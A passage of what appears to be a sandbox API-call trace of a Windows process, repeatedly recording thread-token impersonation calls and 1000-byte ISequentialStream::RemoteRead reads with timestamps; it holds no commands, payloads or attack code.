Token=0x0) returned 1 [0147.427] GetCurrentThread () returned 0xfffffffffffffffe [0147.427] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.427] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.427] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.427] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xdb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.428] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.428] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.429] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.429] GetCurrentThread () returned 0xfffffffffffffffe [0147.429] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.429] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.429] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.429] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x98, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.429] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.429] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.430] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.430] GetCurrentThread () returned 0xfffffffffffffffe [0147.430] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.430] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.430] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.430] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.430] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.430] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.431] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.431] GetCurrentThread () returned 0xfffffffffffffffe [0147.431] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.431] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.431] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.432] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.432] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.432] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.433] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.433] GetCurrentThread () returned 0xfffffffffffffffe [0147.433] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.433] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.433] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.433] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.433] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.433] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.434] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.434] GetCurrentThread () returned 0xfffffffffffffffe [0147.434] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.434] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.434] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.434] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x47, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.435] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.435] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.435] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.435] GetCurrentThread () returned 0xfffffffffffffffe [0147.436] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.436] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.436] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.436] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.436] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.436] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.437] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.437] GetCurrentThread () returned 0xfffffffffffffffe [0147.437] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.437] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.437] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.437] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.437] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.437] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.438] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.438] GetCurrentThread () returned 0xfffffffffffffffe [0147.438] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.439] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.439] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.439] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.439] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.439] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.441] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.441] GetCurrentThread () returned 0xfffffffffffffffe [0147.441] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.441] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.441] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.441] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfe, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.441] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.441] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.442] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.442] GetCurrentThread () returned 0xfffffffffffffffe [0147.442] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.443] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.443] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.443] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.443] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.443] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.444] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.444] GetCurrentThread () returned 0xfffffffffffffffe [0147.444] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.444] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.444] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.444] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.444] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.444] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.445] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.445] GetCurrentThread () returned 0xfffffffffffffffe [0147.445] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.446] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.446] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.446] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.446] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.446] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.447] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.447] GetCurrentThread () returned 0xfffffffffffffffe [0147.447] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.447] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.447] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.447] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.447] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.447] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.448] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.448] GetCurrentThread () returned 0xfffffffffffffffe [0147.448] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.449] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.449] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.449] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.449] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.449] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.450] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.450] GetCurrentThread () returned 0xfffffffffffffffe [0147.450] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.450] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.450] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.450] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xdb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.450] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.450] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.451] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.451] GetCurrentThread () returned 0xfffffffffffffffe [0147.451] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.451] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.452] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.452] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x46, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.452] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.452] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.453] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.453] GetCurrentThread () returned 0xfffffffffffffffe [0147.453] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.453] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.453] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.453] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x25, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.453] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.453] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.454] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.454] GetCurrentThread () returned 0xfffffffffffffffe [0147.454] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.454] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.455] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.455] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x35, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.455] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.455] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.456] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.456] GetCurrentThread () returned 0xfffffffffffffffe [0147.456] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.456] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.456] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.456] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.456] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.456] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.457] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.457] GetCurrentThread () returned 0xfffffffffffffffe [0147.457] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.457] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.457] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.457] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x65, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.458] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.458] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.459] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.459] GetCurrentThread () returned 0xfffffffffffffffe [0147.459] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.459] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.459] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.459] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.459] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.459] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.460] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.460] GetCurrentThread () returned 0xfffffffffffffffe [0147.460] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.460] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.460] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.460] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.461] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.461] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.462] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.462] GetCurrentThread () returned 0xfffffffffffffffe [0147.462] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.462] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.462] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.462] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.462] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.462] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.464] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.464] GetCurrentThread () returned 0xfffffffffffffffe [0147.464] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.464] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.464] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.464] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.464] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.464] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.465] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.465] GetCurrentThread () returned 0xfffffffffffffffe [0147.465] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.465] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.465] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.465] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x97, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.465] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.466] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.466] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.466] GetCurrentThread () returned 0xfffffffffffffffe [0147.466] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.467] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.467] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.467] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.467] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.467] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.468] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.468] GetCurrentThread () returned 0xfffffffffffffffe [0147.468] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.468] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.468] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.468] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.469] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.469] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.470] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.470] GetCurrentThread () returned 0xfffffffffffffffe [0147.470] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.470] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.470] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.470] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.470] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.470] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.472] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.472] GetCurrentThread () returned 0xfffffffffffffffe [0147.472] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.472] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.472] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.472] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.472] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.472] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.473] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.473] GetCurrentThread () returned 0xfffffffffffffffe [0147.473] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.474] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.474] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.474] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.474] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.474] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.475] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.475] GetCurrentThread () returned 0xfffffffffffffffe [0147.475] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.475] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.476] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.476] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x95, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.476] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.476] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.477] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.477] GetCurrentThread () returned 0xfffffffffffffffe [0147.477] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.477] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.477] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.477] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.477] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.477] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.478] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.478] GetCurrentThread () returned 0xfffffffffffffffe [0147.479] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.479] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.479] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.479] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.479] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.479] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.480] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.480] GetCurrentThread () returned 0xfffffffffffffffe [0147.480] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | 